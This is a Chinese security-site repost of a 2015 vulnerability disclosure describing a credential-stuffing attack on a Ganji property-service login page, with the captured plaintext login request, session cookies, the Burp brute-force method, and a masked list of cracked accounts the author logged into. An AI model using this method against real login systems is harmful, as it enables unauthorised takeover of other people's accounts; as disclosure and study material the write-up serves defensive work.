频道栏目
首页 > 安全 > 网站安全 > 正文
赶集房产帮帮某登录处存在撞库攻击(奇葩过程)
2015-12-23 09:10:25         来源:指尖上的故事  
收藏   我要投稿

感谢自己手贱......哈哈

code 区域
https://passport.ganji.com/login.php?next=http%3A%2F%2Fwww.ganji.com%2Fsite%2Fu%2F

这是赶集房产帮帮某登录处(一般登陆处在这里)在这里爆破是不可能的因为有验证码...


后来我找到了这个地址:

code 区域
https://fangvip.ganji.com/auth.php?do=login

经过测试后发现这里存在问题

抓包如下:

code 区域
POST /auth.php?do=login HTTP/1.1
Host: fangvip.ganji.com
Content-Length: 57
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://fangvip.ganji.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://fangvip.ganji.com/auth.php?do=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: __utmganji_v20110909=0x811969610839150x5503f80ed4b2e35; ganji_uuid=9983304235117631124735; ganji_xuuid=8dc13f51-ad84-4a07-d453-f28d5b26d804.1446221201992; undefined=9c7361d7-88c4-44bd-a114-471f5496ccb3; sscode=gyKSQ1F0HYVSVRGCgyWjzTPz; GanjiUserName=wooyunj; GanjiUserInfo=%7B%22user_id%22%3A567410792%2C%22email%22%3A%22%22%2C%22username%22%3A%22wooyunj%22%2C%22user_name%22%3A%22wooyunj%22%2C%22nickname%22%3A%22%22%7D; bizs=%5B%5D; supercookie=AGL3AQRjAmxlWQSvAwx5ZwyyAmV2AmV1LzRmZGWzMJD3ZQt5LwRkMzVkZ2HkBGHlZTZ%3D; jy_reg_recommend_userids_jsonstr=%5B%2228562388%22%2C%22170796109%22%2C%2289132486%22%2C%2254979472%22%2C%22155668923%22%5D; jy_reg_flag_pop=reg; GANJISESSID=6b42f1685d16aa0e3e7080c091a6a342; __utmt=1; __utma=32156897.721529753.1446221098.1446221098.1448567063.2; __utmb=32156897.13.10.1448567063; __utmc=32156897; __utmz=32156897.1448567063.2.2.utmcsr=baidu|utmccn=(organic)|utmcmd=organic

next=&no_cookie_test=1&username=111111&password=111111111


username=111111 password=111111111 传输数据没有加密明文递交 也没有验证码..果断拿起Burp爆破 账号可分为:用户名 邮箱 手机号

我拿姓名TOP500+123456测试出以下用户

 

mask 区域
*****iang*****
*****hua1*****
*****ing1*****
*****ua12*****
*****ng1*****
*****ng1*****
*****ng1*****
*****123*****
*****ng12*****
*****an12*****
*****en12*****
*****g12*****
*****n123*****
*****g12*****
*****a123*****
*****ng12*****
*****g12*****
*****n12*****
*****g123*****
*****ui12*****
*****123*****
*****ng1*****
*****n123*****
*****un1*****
*****123*****
*****1234*****
*****n12*****
*****g123*****
*****123*****
*****de1*****
*****1234*****
*****n12*****
*****ng1*****
*****1234*****
*****1234*****
*****123*****
*****12*****
*****12*****
*****1234*****
*****1234*****
*****12*****


输出账号和密码,点击登录 提示:你输出的用户名和密码错误!(到此奇葩事出现了)

这个时候点击页面底部的“修改/删除信息 ” 就发现账号其实已经登录了...

当然也可以直接在这里https://passport.ganji.com/login.php?next=http%3A%2F%2Fwww.ganji.com%2Fsite%2Fu%2F 输出账号和密码登陆

随便登录个账号证明一下吧 (管理员自己测试一下吧)

1.png

2.png

3.png

4.png


当然也可以直接把爆破出来的结果拿去:

https://passport.ganji.com/login.php?next=%2Fvip%2F 进接登录

解决方案:

..你们更专业.


点击复制链接 与好友分享!回本站首页
相关TAG标签 奇葩 过程 房产
上一篇:凤凰网某分站发现webshell一枚
下一篇:永和食品某处存在SQL注入可泄露大量数据可shell
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站